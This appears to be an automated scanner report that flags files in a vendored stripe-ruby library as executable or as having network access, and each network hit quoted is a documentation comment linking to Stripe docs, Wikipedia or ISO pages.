- Executable scriptline 1
Executable file - Network accessline 42
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 46
# You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. - Network accessline 47
# # Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different ph - Network accessline 48
# Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical - Network accessline 49
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe - Network accessline 51
# For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) an - Network accessline 53
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview). - Network accessline 55
# Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you tra - Network accessline 56
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be - Network accessline 58
# For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an - Network accessline 60
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com - Network accessline 62
# The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/subscription_schedule.rb
- Executable scriptline 1
Executable file - Network accessline 5
# A subscription schedule allows you to create and manage the lifecycle of a subscription by predefining expected changes. # # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules) - Network accessline 7
# Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules) - Network accessline 158
# Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif - Network accessline 253
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 401
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `metadata` when the phase is entered. - Network accessline 441
# Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif - Network accessline 447
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 463
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered. Updating the underlying subscrip - Network accessline 516
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 526
# The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the different states in our [behavior guide](https://docs.stripe.com/billing/su
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/association.rb
- Executable scriptline 1
Executable file - Network accessline 15
# The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object) - Network accessline 56
# The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent. - Network accessline 62
# The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/calculation.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Tax Calculation allows you to calculate the tax to collect from your customer. # # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom) - Network accessline 8
# Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom) - Network accessline 21
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 29
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 79
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 87
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 113
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 119
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 147
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 157
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 168
# The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 170
# The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 172
# The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). - Network accessline 178
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. - Network accessline 206
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 214
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 227
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 235
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 246
# Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 248
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 250
# The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/calculation_line_item.rb
- Executable scriptline 1
Executable file - Network accessline 14
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 20
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 48
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 58
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 69
# The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 71
# The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 77
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 81
# The ID of an existing [Product](https://docs.stripe.com/api/products/object). - Network accessline 91
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/registration.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Tax `Registration` lets us know that your business is registered to collect tax on payments within a region, enabling you to [automatically collect tax](https://docs.stripe.com/tax). - Network accessline 7
# # Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering). - Network accessline 8
# Stripe doesn't register on your behalf with the relevant authorities when you create a Tax `Registration` object. For more information on how to register to collect tax, see [our guide](https://docs.stripe.com/tax/registering). - Network accessline 10
# Related guide: [Using the Registrations API](https://docs.stripe.com/tax/registrations-api) - Network accessline 328
# Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1737
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1750
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1764
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. - Network accessline 1792
# Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2201
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/settings.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can use Tax `Settings` to manage configurations used by Stripe Tax calculations. # # Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api) - Network accessline 8
# Related guide: [Using the Settings API](https://docs.stripe.com/tax/settings-api) - Network accessline 20
# Default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) used to specify whether the price is considered inclusive of taxes or exclusive of taxes. If the item's price has a tax behavior - Network accessline 22
# Default [tax code](https://stripe.com/docs/tax/tax-categories) used to classify your products and prices. - Network accessline 38
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 46
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/transaction.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Tax Transaction records the tax collected from or refunded to your customer. # # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction) - Network accessline 8
# Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom#tax-transaction) - Network accessline 19
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 27
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 90
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 98
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 124
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 130
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 158
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 168
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 179
# The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 181
# The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 183
# The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). - Network accessline 189
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. - Network accessline 202
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 204
# The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource. - Network accessline 214
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax/transaction_line_item.rb
- Executable scriptline 1
Executable file - Network accessline 24
# The line item amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 26
# The amount of tax calculated for this line item, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 32
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 36
# The ID of an existing [Product](https://docs.stripe.com/api/products/object). - Network accessline 46
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for this resource.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_code.rb
- Executable scriptline 1
Executable file - Network accessline 5
# [Tax codes](https://stripe.com/docs/tax/tax-categories) classify goods and services for tax purposes. - Network accessline 23
# A list of [all tax codes available](https://stripe.com/docs/tax/tax-categories) to add to Products in order to allow specific tax calculations.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_deducted_at_source.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_id.rb
- Executable scriptline 1
Executable file - Network accessline 5
# You can add one or multiple tax IDs to a [customer](https://docs.stripe.com/api/customers) or account. - Network accessline 6
# Customer and account tax IDs get displayed on related invoices and credit notes. # # Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoi - Network accessline 8
# Related guides: [Customer tax identification numbers](https://docs.stripe.com/billing/taxes/tax-ids), [Account tax IDs](https://docs.stripe.com/invoicing/connect#account-tax-ids)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/tax_rate.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Tax rates can be applied to [invoices](https://docs.stripe.com/invoicing/taxes/tax-rates), [subscriptions](https://docs.stripe.com/billing/taxes/tax-rates) and [Checkout Sessions](https://docs.stripe.com/payments/checkout/use-manual-tax-r - Network accessline 7
# Related guide: [Tax rates](https://docs.stripe.com/billing/taxes/tax-rates) - Network accessline 34
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 58
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 66
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/configuration.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Configurations object represents how features should be configured for terminal readers. # For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-ov - Network accessline 7
# For information about how to use it, see the [Terminal configurations documentation](https://docs.stripe.com/terminal/fleet/configurations-overview).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/connection_token.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Connection Token is used by the Stripe Terminal SDK to connect to a reader. # # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 8
# Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 17
# The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see [the docs on scoping connection tokens](https://docs.stripe.com/terminal/fleet/lo
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/location.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Location represents a grouping of readers. # # Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 8
# Related guide: [Fleet management](https://docs.stripe.com/terminal/fleet/locations) - Network accessline 23
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 31
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 46
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 71
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 110
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 119
# Creates a new Location object. # For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide. - Network accessline 120
# For further details, including which address fields are required in each country, see the [Manage locations](https://docs.stripe.com/docs/terminal/fleet/locations) guide.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/onboarding_link.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/terminal/reader.rb
- Executable scriptline 1
Executable file - Network accessline 6
# A Reader represents a physical device for accepting payment details. # # Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader) - Network accessline 8
# Related guide: [Connecting to a reader](https://docs.stripe.com/terminal/payments/connect-reader) - Network accessline 200
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 245
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 246
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 247
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/mo - Network accessline 249
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 379
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 406
# The amount of the line item. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 421
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 425
# Tax amount for the entire cart. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 427
# Total amount for the entire cart, including tax. A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 508
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 519
# Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 529
# Cancels the current reader action. See [Programmatic Cancellation](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven#programmatic-cancellation) for more details. - Network accessline 539
# Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers. - Network accessline 549
# Initiates an [input collection flow](https://docs.stripe.com/docs/terminal/features/collect-inputs) on a Reader to display input forms and collect information from your customers. - Network accessline 559
# Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s - Network accessline 569
# Initiates a payment flow on a Reader and updates the PaymentIntent with card details before manual confirmation. See [Collecting a Payment method](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=s - Network accessline 579
# Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details. - Network accessline 589
# Finalizes a payment on a Reader. See [Confirming a Payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=inspect#confirm-the-paymentintent) for more details. - Network accessline 639
# Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details. - Network accessline 649
# Initiates a payment flow on a Reader. See [process the payment](https://docs.stripe.com/docs/terminal/payments/collect-card-payment?terminal-sdk-platform=server-driven&process=immediately#process-payment) for more details. - Network accessline 659
# Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details. - Network accessline 669
# Initiates a SetupIntent flow on a Reader. See [Save directly without charging](https://docs.stripe.com/docs/terminal/features/saving-payment-details/save-directly) for more details. - Network accessline 679
# Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details. - Network accessline 689
# Initiates an in-person refund on a Reader. See [Refund an Interac Payment](https://docs.stripe.com/docs/terminal/payments/regional?integration-country=CA#refund-an-interac-payment) for more details. - Network accessline 699
# Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display). - Network accessline 709
# Sets the reader display to show [cart details](https://docs.stripe.com/docs/terminal/features/display).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/test_helpers/test_clock.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/token.rb
- Executable scriptline 1
Executable file - Network accessline 7
# your customers in a secure manner. A token representing this information is # returned to your server to use. Use our # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process - Network accessline 8
# returned to your server to use. Use our # [recommended payments integrations](https://docs.stripe.com/payments) to perform this process # on the client-side. This guarantees that no sensitive card data touches your server, - Network accessline 9
# [recommended payments integrations](https://docs.stripe.com/payments) to perform this process - Network accessline 19
# # You can't store or use tokens more than once. To store card or bank account # information for later use, create [Customer](https://docs.stripe.com/api#customers) - Network accessline 20
# You can't store or use tokens more than once. To store card or bank account # information for later use, create [Customer](https://docs.stripe.com/api#customers) # objects or [External accounts](https://docs.stripe.com/api#external_ac - Network accessline 21
# information for later use, create [Customer](https://docs.stripe.com/api#customers) - Network accessline 22
# objects or [External accounts](https://docs.stripe.com/api#external_accounts). - Network accessline 23
# [Radar](https://docs.stripe.com/radar), our integrated solution for automatic fraud protection, - Network accessline 43
# transfer to those cards later. # # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 45
# Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 62
# Creates a single-use token that represents a bank account's details. # You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account] - Network accessline 63
# You can use this token with any v1 API method in place of a bank account dictionary. You can only use this token once. To do so, attach it to a [connected account](https://docs.stripe.com/api#accounts) where [controller.requirement_collec
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/topup.rb
- Executable scriptline 1
Executable file - Network accessline 7
# unique, random ID. # # Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups) - Network accessline 9
# Related guide: [Topping up your platform account](https://docs.stripe.com/connect/top-ups) - Network accessline 26
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 32
# Error code explaining reason for top-up failure if available (see [the errors section](https://docs.stripe.com/api#errors) for a list of codes). - Network accessline 40
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/transfer.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Before April 6, 2017, transfers also represented movement of funds from a # Stripe account to a card or bank account. This behavior has since been split # out into a [Payout](https://api.stripe.com#payout_object) object, with correspo - Network accessline 9
# Stripe account to a card or bank account. This behavior has since been split # out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more # information, read about the - Network accessline 10
# out into a [Payout](https://api.stripe.com#payout_object) object, with corresponding payout endpoints. For more - Network accessline 11
# information, read about the # [transfer/payout split](https://docs.stripe.com/transfer-payout-split). # - Network accessline 12
# [transfer/payout split](https://docs.stripe.com/transfer-payout-split). - Network accessline 14
# Related guide: [Creating separate charges and transfers](https://docs.stripe.com/connect/separate-charges-and-transfers) - Network accessline 36
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 48
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 60
# A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. - Network accessline 63
# To send funds from your Stripe account to a connected account, you create a new transfer object. Your [Stripe balance](https://docs.stripe.com/api#balance) must be able to cover the transfer amount, or you'll receive an “Insufficient Fund
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/credit_reversal.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 32
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 36
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 42
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/debit_reversal.rb
- Executable scriptline 1
Executable file - Network accessline 6
# You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. - Network accessline 45
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 49
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 57
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account.rb
- Executable scriptline 1
Executable file - Network accessline 115
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 130
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 146
# The currencies the FinancialAccount can hold a balance in. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/financial_account_features.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/inbound_transfer.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y - Network accessline 8
# Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) - Network accessline 49
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 57
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 97
# The network rails used. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each network type. - Network accessline 148
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 156
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses. - Network accessline 164
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/treasury/outbound_payment.rb
- Executable scriptline 1
Executable file - Network accessline 6
